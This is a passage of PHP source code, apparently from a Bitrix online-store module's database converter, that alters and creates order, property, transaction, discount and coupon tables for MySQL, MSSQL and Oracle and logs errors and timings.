					if (!$DB->Query("ALTER TABLE b_sale_order ADD CONSTRAINT DF_B_SALE_ORDER_DISCOUNT_VALUE DEFAULT '0.0000'  FOR DISCOUNT_VALUE", true))
						$error .= "<br>".$DB->GetErrorMessage();

				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE B_SALE_ORDER MODIFY DISCOUNT_VALUE NUMBER(20,4) DEFAULT 0.0", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.DISCOUNT_VALUE",
						"DESCRIPTION" => $error,
					));
				}
			}

			if ($DB->Query("SELECT PRICE_DELIVERY FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order CHANGE COLUMN PRICE_DELIVERY PRICE_DELIVERY DECIMAL(18,4) NOT NULL DEFAULT '0.0000'", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					$DB->Query("ALTER TABLE b_sale_order DROP CONSTRAINT DF_B_SALE_ORDER_PRICE_DELIVERY", true);
					
					if (!$DB->Query("ALTER TABLE b_sale_order ALTER COLUMN PRICE_DELIVERY DECIMAL(18,4) NOT NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();

					if (!$DB->Query("ALTER TABLE b_sale_order ADD CONSTRAINT DF_B_SALE_ORDER_PRICE_DELIVERY DEFAULT '0.0000' FOR PRICE_DELIVERY", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order MODIFY PRICE_DELIVERY NUMBER(20,4) DEFAULT 0.0", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.PRICE_DELIVERY",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->Query("SELECT PRICE_PAYMENT FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order
									ADD PRICE_PAYMENT decimal(18,4) not null DEFAULT '0.0000',
									ADD CREATED_BY int(11) null", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}

				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ADD
									PRICE_PAYMENT DECIMAL(18,4) NOT NULL CONSTRAINT DF_B_S_O_PRICE_PAYMENT DEFAULT '0.0000',
									CREATED_BY INT null
									", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ADD (
									PRICE_PAYMENT decimal(18,4) DEFAULT 0.0 NOT NULL,
									CREATED_BY number(11) null)", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.PRICE_PAYMENT, B_SALE_ORDER.CREATED_BY",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->Query("SELECT BX_USER_ID FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ADD BX_USER_ID varchar(32) null", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ADD BX_USER_ID VARCHAR(32) NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ADD BX_USER_ID VARCHAR2(32 CHAR) NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.BX_USER_ID",
						"DESCRIPTION" => $error,
					));
				}
			}

			if ($DB->Query("SELECT USER_DESCRIPTION FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order CHANGE USER_DESCRIPTION USER_DESCRIPTION VARCHAR(2000) NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ALTER COLUMN USER_DESCRIPTION VARCHAR(2000) NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();

				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order MODIFY USER_DESCRIPTION VARCHAR2(2000 CHAR)", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.USER_DESCRIPTION",
						"DESCRIPTION" => $error,
					));
				}
			}

			$end = microtime(true);
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'alter b_sale_order = '.($end-$start)."\n", FILE_APPEND);
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PROPS_VALUE');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_ORDER');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 2:	
			// PROPS VALUE
			$start = microtime(true);
			
			if ($DB->TableExists("b_sale_order_props_value"))
			{
				if ($DB->Query("SELECT VALUE FROM b_sale_order_props_value WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props_value CHANGE VALUE VALUE varchar(500) null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props_value ALTER COLUMN VALUE VARCHAR (500) NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props_value MODIFY VALUE VARCHAR2(500 CHAR)", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 2: b_sale_order_props_value.VALUE",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			$end = microtime(true);
			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'alter b_sale_order_props_value = '.($end-$start)."\n", FILE_APPEND);
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PROPS');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PROPS_VALUE');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 3:	
			// PROPS
			$start = microtime(true);
			
			if ($DB->TableExists("b_sale_order_props"))
			{
				if ($DB->Query("SELECT REQUIED FROM b_sale_order_props WHERE 1=0", true) &&
					! $DB->Query("SELECT REQUIRED FROM b_sale_order_props WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props CHANGE REQUIED REQUIRED char(1) not null default 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("EXEC sp_rename 'b_sale_order_props.REQUIED', 'REQUIRED', 'COLUMN'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props RENAME COLUMN REQUIED TO REQUIRED", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 3: b_sale_order_props.REQUIED",
							"DESCRIPTION" => $error,
						));
					}
				}

				if ($DB->Query("SELECT DEFAULT_VALUE FROM b_sale_order_props WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props CHANGE DEFAULT_VALUE DEFAULT_VALUE varchar(500) null", true))
							$error .= "<br>".$DB->GetErrorMessage();

					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ALTER COLUMN DEFAULT_VALUE VARCHAR (500) NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props MODIFY DEFAULT_VALUE VARCHAR2(500 CHAR)", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 3: b_sale_order_props.DEFAULT_VALUE",
							"DESCRIPTION" => $error,
						));
					}
				}

				if (!$DB->Query("SELECT IS_ADDRESS FROM b_sale_order_props WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD IS_ADDRESS char(1) not null default 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD IS_ADDRESS CHAR(1) NOT NULL CONSTRAINT DF_B_SALE_ORDER_PROPS_IS_ADDRESS DEFAULT 'N'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD IS_ADDRESS CHAR(1 CHAR) DEFAULT 'N' NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 3: b_sale_order_props.IS_ADDRESS",
							"DESCRIPTION" => $error,
						));
					}
				}

				if (!$DB->Query("SELECT SETTINGS FROM b_sale_order_props WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD SETTINGS varchar(500) null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD SETTINGS VARCHAR (500) NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_props ADD SETTINGS VARCHAR2(500 CHAR) NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 3: b_sale_order_props.SETTINGS",
							"DESCRIPTION" => $error,
						));
					}
				}
			}
			
			// rename sequences
			if ($DB->type == "ORACLE")
			{
				if ($DB->TableExists("b_sale_order_props")
				 && $DB->Query('rename SQ_SALE_ORDER_PROPS to SQ_B_SALE_ORDER_PROPS', true))
				{
					if (! $DB->Query('
						CREATE OR REPLACE TRIGGER B_SALE_ORDER_PROPS_INSERT
						BEFORE INSERT
						ON B_SALE_ORDER_PROPS
						FOR EACH ROW
						BEGIN
							IF :NEW.ID IS NULL THEN
								SELECT SQ_B_SALE_ORDER_PROPS.NEXTVAL INTO :NEW.ID FROM dual;
							END IF;
						END;
					', true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				
				if ($DB->TableExists('b_sale_order_props_group')
				 && $DB->Query('rename SQ_SALE_ORDER_PROPS_GROUP to SQ_B_SALE_ORDER_PROPS_GROUP', true))
				{
					if (!$DB->Query('
						CREATE OR REPLACE TRIGGER B_SALE_OPG_INSERT
						BEFORE INSERT
						ON B_SALE_ORDER_PROPS_GROUP
						FOR EACH ROW
						BEGIN
							IF :NEW.ID IS NULL THEN
								SELECT SQ_B_SALE_ORDER_PROPS_GROUP.NEXTVAL INTO :NEW.ID FROM dual;
							END IF;
						END;
					', true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				
				if ($DB->TableExists('b_sale_order_props_value')
				 && $DB->Query('rename SQ_SALE_ORDER_PROPS_VALUE to SQ_B_SALE_ORDER_PROPS_VALUE', true))
				{
					if (!$DB->Query('
						CREATE OR REPLACE TRIGGER B_SALE_OPV_INSERT
						BEFORE INSERT
						ON B_SALE_ORDER_PROPS_VALUE
						FOR EACH ROW
						BEGIN
							IF :NEW.ID IS NULL THEN
								SELECT SQ_B_SALE_ORDER_PROPS_VALUE.NEXTVAL INTO :NEW.ID FROM dual;
							END IF;
						END;
					', true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				
				if ($DB->TableExists('b_sale_order_props_variant')
				 && $DB->Query('rename SQ_SALE_ORDER_PROPS_VARIANT to SQ_B_SALE_ORDER_PROPS_VARIANT', true))
				{
					if (!$DB->Query('
						CREATE OR REPLACE TRIGGER B_SALE_OPVAR_INSERT
						BEFORE INSERT
						ON B_SALE_ORDER_PROPS_VARIANT
						FOR EACH ROW
						BEGIN
							IF :NEW.ID IS NULL THEN
								SELECT SQ_B_SALE_ORDER_PROPS_VARIANT.NEXTVAL INTO :NEW.ID FROM dual;
							END IF;
						END;
					', true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
			}
			
			$end = microtime(true);
			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'alter b_sale_order_props = '.($end-$start)."\n", FILE_APPEND);
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_ORDER_CHANGE');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PROPS');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 4:
			// ORDER CHANGE
			if ($DB->TableExists("b_sale_order_change"))
			{
				if (!$DB->Query("select ENTITY from b_sale_order_change WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_change
										ADD column ENTITY VARCHAR(50) DEFAULT NULL,
										ADD column ENTITY_ID INT DEFAULT NULL", false)
						)
							$error .= "<br>".$DB->GetErrorMessage();
					}

					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_change ADD
										ENTITY VARCHAR(50) NULL,
										ENTITY_ID INT NULL", false)
						)
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_change ADD (
										ENTITY VARCHAR2(50 CHAR) NULL,
										ENTITY_ID NUMBER(18) NULL)", false)
						)
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 4: b_sale_order_change.ENTITY, b_sale_order_change.ENTITY_ID",
							"DESCRIPTION" => $error,
						));
					}
				}
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_TRANSACT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_ORDER_CHANGE');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
			
		case 5:
			// USER TRANSACT
			if ($DB->TableExists('b_sale_user_transact'))
			{
				if (!$DB->Query("select CURRENT_BUDGET from b_sale_user_transact WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_user_transact ADD COLUMN CURRENT_BUDGET DECIMAL(18,4) NOT NULL DEFAULT '0.0000'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_USER_TRANSACT ADD CURRENT_BUDGET DECIMAL(18,4) NOT NULL CONSTRAINT DF_S_U_T_CURRENT DEFAULT '0.0000'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_USER_TRANSACT ADD CURRENT_BUDGET NUMBER(18,4) DEFAULT 0.0 NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 5: B_SALE_USER_TRANSACT.CURRENT_BUDGET",
							"DESCRIPTION" => $error,
						));
					}
				}

				if (!$DB->Query("select PAYMENT_ID from b_sale_user_transact WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if ($DB->Query("ALTER TABLE b_sale_user_transact ADD PAYMENT_ID INT NULL", true))
						{
							$DB->Query("CREATE INDEX IX_S_U_T_PAYMENT_ID ON b_sale_user_transact (PAYMENT_ID)", false);
						}
						else
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "MSSQL")
					{
						if ($DB->Query("ALTER TABLE B_SALE_USER_TRANSACT ADD PAYMENT_ID INT NULL", true))
						{
							$DB->Query("CREATE INDEX IX_S_U_T_PAYMENT_ID ON B_SALE_USER_TRANSACT (PAYMENT_ID)", false);
						}
						else
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "ORACLE")
					{
						if ($DB->Query("ALTER TABLE B_SALE_USER_TRANSACT ADD PAYMENT_ID number(18) NULL", true))
						{
							$DB->Query("CREATE INDEX IX_S_U_T_PAYMENT_ID ON B_SALE_USER_TRANSACT (PAYMENT_ID)", false);
						}
						else
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 5: B_SALE_USER_TRANSACT.PAYMENT_ID",
							"DESCRIPTION" => $error,
						));
					}
				}
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DISCOUNT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_TRANSACT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 6:
			// DISCOUNT AND COUPONS
			if ($DB->TableExists("b_sale_discount_coupon"))
			{
				if (!$DB->Query("select DESCRIPTION from b_sale_discount_coupon WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("alter table b_sale_discount_coupon add DESCRIPTION text null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("alter table B_SALE_DISCOUNT_COUPON add DESCRIPTION text null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("alter table B_SALE_DISCOUNT_COUPON add DESCRIPTION clob null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 6: B_SALE_DISCOUNT_COUPON.DESCRIPTION",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if (!$DB->TableExists("b_sale_order_discount"))
			{
				if ($DB->type == "MYSQL")
				{
					if (
						!$DB->Query("CREATE TABLE b_sale_order_discount(
								ID int not null auto_increment,
								MODULE_ID varchar(50) not null,
								DISCOUNT_ID int not null,
								NAME varchar(255) not null,
								DISCOUNT_HASH varchar(32) not null,
								CONDITIONS mediumtext null,
								UNPACK mediumtext null,
								ACTIONS mediumtext null,
								APPLICATION mediumtext null,
								USE_COUPONS char(1) not null,
								SORT int not null,
								PRIORITY int not null,
								LAST_DISCOUNT char(1) not null,
								ACTIONS_DESCR mediumtext null,
								primary key (ID),
								INDEX IX_SALE_ORDER_DSC_HASH (DISCOUNT_HASH)
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (
						!$DB->Query("CREATE TABLE B_SALE_ORDER_DISCOUNT
							(
								ID int NOT NULL IDENTITY (1, 1),
								MODULE_ID varchar(50) NOT NULL,
								DISCOUNT_ID int NOT NULL,
								NAME varchar(255) NOT NULL,
								DISCOUNT_HASH varchar(32) NOT NULL,
								CONDITIONS text NULL,
								UNPACK text NULL,
								ACTIONS text NULL,
								APPLICATION text NULL,
								USE_COUPONS char(1) NOT NULL,
								SORT int NOT NULL,
								PRIORITY int NOT NULL,
								ACTIONS_DESCR TEXT null,
								LAST_DISCOUNT char(1) NOT NULL
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_ORDER_DISCOUNT ADD CONSTRAINT PK_B_SALE_ORDER_DISCOUNT PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_SALE_ORDER_DSC_HASH ON B_SALE_ORDER_DISCOUNT(DISCOUNT_HASH)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (
						!$DB->Query("CREATE TABLE B_SALE_ORDER_DISCOUNT
							(
								ID NUMBER(18) NOT NULL,
								MODULE_ID VARCHAR2(50 CHAR) NOT NULL,
								DISCOUNT_ID NUMBER(18) NOT NULL,
								NAME VARCHAR2(255 CHAR) NOT NULL,
								DISCOUNT_HASH VARCHAR2(32 CHAR) NOT NULL,
								CONDITIONS CLOB NULL,
								UNPACK CLOB NULL,
								ACTIONS CLOB NULL,
								APPLICATION CLOB NULL,
								USE_COUPONS CHAR(1 CHAR) NOT NULL,
								SORT NUMBER(18) NOT NULL,
								PRIORITY NUMBER(18) NOT NULL,
								ACTIONS_DESCR CLOB null,
								LAST_DISCOUNT CHAR(1 CHAR) not NULL,
								PRIMARY KEY (ID)
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_DSC_HASH ON B_SALE_ORDER_DISCOUNT(DISCOUNT_HASH)", false);
						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_DISCOUNT INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_DSC_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_DISCOUNT
									FOR EACH ROW
										BEGIN
											IF :NEW.ID IS NULL THEN
												SELECT SQ_B_SALE_ORDER_DISCOUNT.NEXTVAL INTO :NEW.ID FROM dual;
											END IF;
										END;"
							, false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 6: B_SALE_ORDER_DISCOUNT",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_coupons"))
			{
				if ($DB->type == "MYSQL")
				{
					if (
						!$DB->Query("CREATE TABLE b_sale_order_coupons(
								ID int not null auto_increment,
								ORDER_ID int not null,
								ORDER_DISCOUNT_ID int not null,
								COUPON varchar(32) not null,
								COUPON_ID int not null,
								TYPE int not null,
								DATA text null,
								primary key (ID),
								INDEX IX_SALE_ORDER_CPN_ORDER (ORDER_ID)
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (
						!$DB->Query("CREATE TABLE B_SALE_ORDER_COUPONS(
								ID int NOT NULL IDENTITY (1, 1),
								ORDER_ID int NOT NULL,
								ORDER_DISCOUNT_ID int NOT NULL,
								COUPON varchar(32) NOT NULL,
								COUPON_ID int NOT NULL,
								DATA text NULL,
								TYPE int NOT NULL
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_CPN_ORDER ON B_SALE_ORDER_COUPONS(ORDER_ID)");
						$DB->Query("ALTER TABLE B_SALE_ORDER_COUPONS ADD CONSTRAINT PK_B_SALE_ORDER_COUPONS PRIMARY KEY (ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (
						!$DB->Query("CREATE TABLE B_SALE_ORDER_COUPONS
							(
								ID NUMBER(18) NOT NULL,
								ORDER_ID NUMBER(18) NOT NULL,
								ORDER_DISCOUNT_ID NUMBER(18) NOT NULL,
								COUPON VARCHAR2(32 CHAR) NOT NULL,
								COUPON_ID NUMBER(18) NOT NULL,
								DATA CLOB NULL,
								TYPE NUMBER(18) NOT NULL,
								PRIMARY KEY (ID)
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_CPN_ORDER ON B_SALE_ORDER_COUPONS(ORDER_ID)");

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_COUPONS INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_CPN_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_COUPONS
									FOR EACH ROW
										BEGIN
											IF :NEW.ID IS NULL THEN
												SELECT SQ_B_SALE_ORDER_COUPONS.NEXTVAL INTO :NEW.ID FROM dual;
											END IF;
										END;"
							, false);
					}
				}
			}

			if (!$DB->TableExists("b_sale_order_modules"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_modules(
							ID int not null auto_increment,
							ORDER_DISCOUNT_ID int not null,
							MODULE_ID varchar(50) not null,
							primary key (ID),
							INDEX IX_SALE_ORDER_MDL_DSC (ORDER_DISCOUNT_ID)
						)
					", false)
					)
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_MODULES(
								ID int NOT NULL IDENTITY (1, 1),
								ORDER_DISCOUNT_ID int NOT NULL,
								MODULE_ID varchar(50) NOT NULL
							)
					", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_MDL_DSC ON B_SALE_ORDER_MODULES(ORDER_DISCOUNT_ID)");
						$DB->Query("ALTER TABLE B_SALE_ORDER_MODULES ADD CONSTRAINT PK_B_SALE_ORDER_MODULES PRIMARY KEY (ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("
							CREATE TABLE B_SALE_ORDER_MODULES
							(
								ID NUMBER(18) NOT NULL,
								ORDER_DISCOUNT_ID NUMBER(18) NOT NULL,
								MODULE_ID VARCHAR2(50 CHAR) NOT NULL,
								primary key (ID)
							)
					", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_SALE_ORDER_MDL_DSC ON B_SALE_ORDER_MODULES(ORDER_DISCOUNT_ID)");

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_MODULES INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_MDL_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_MODULES
									FOR EACH ROW
										BEGIN
											IF :NEW.ID IS NULL THEN
												SELECT SQ_B_SALE_ORDER_MODULES.NEXTVAL INTO :NEW.ID FROM dual;
											END IF;
										END;", true
						);
					}
				}

				if (!empty($error))
				{
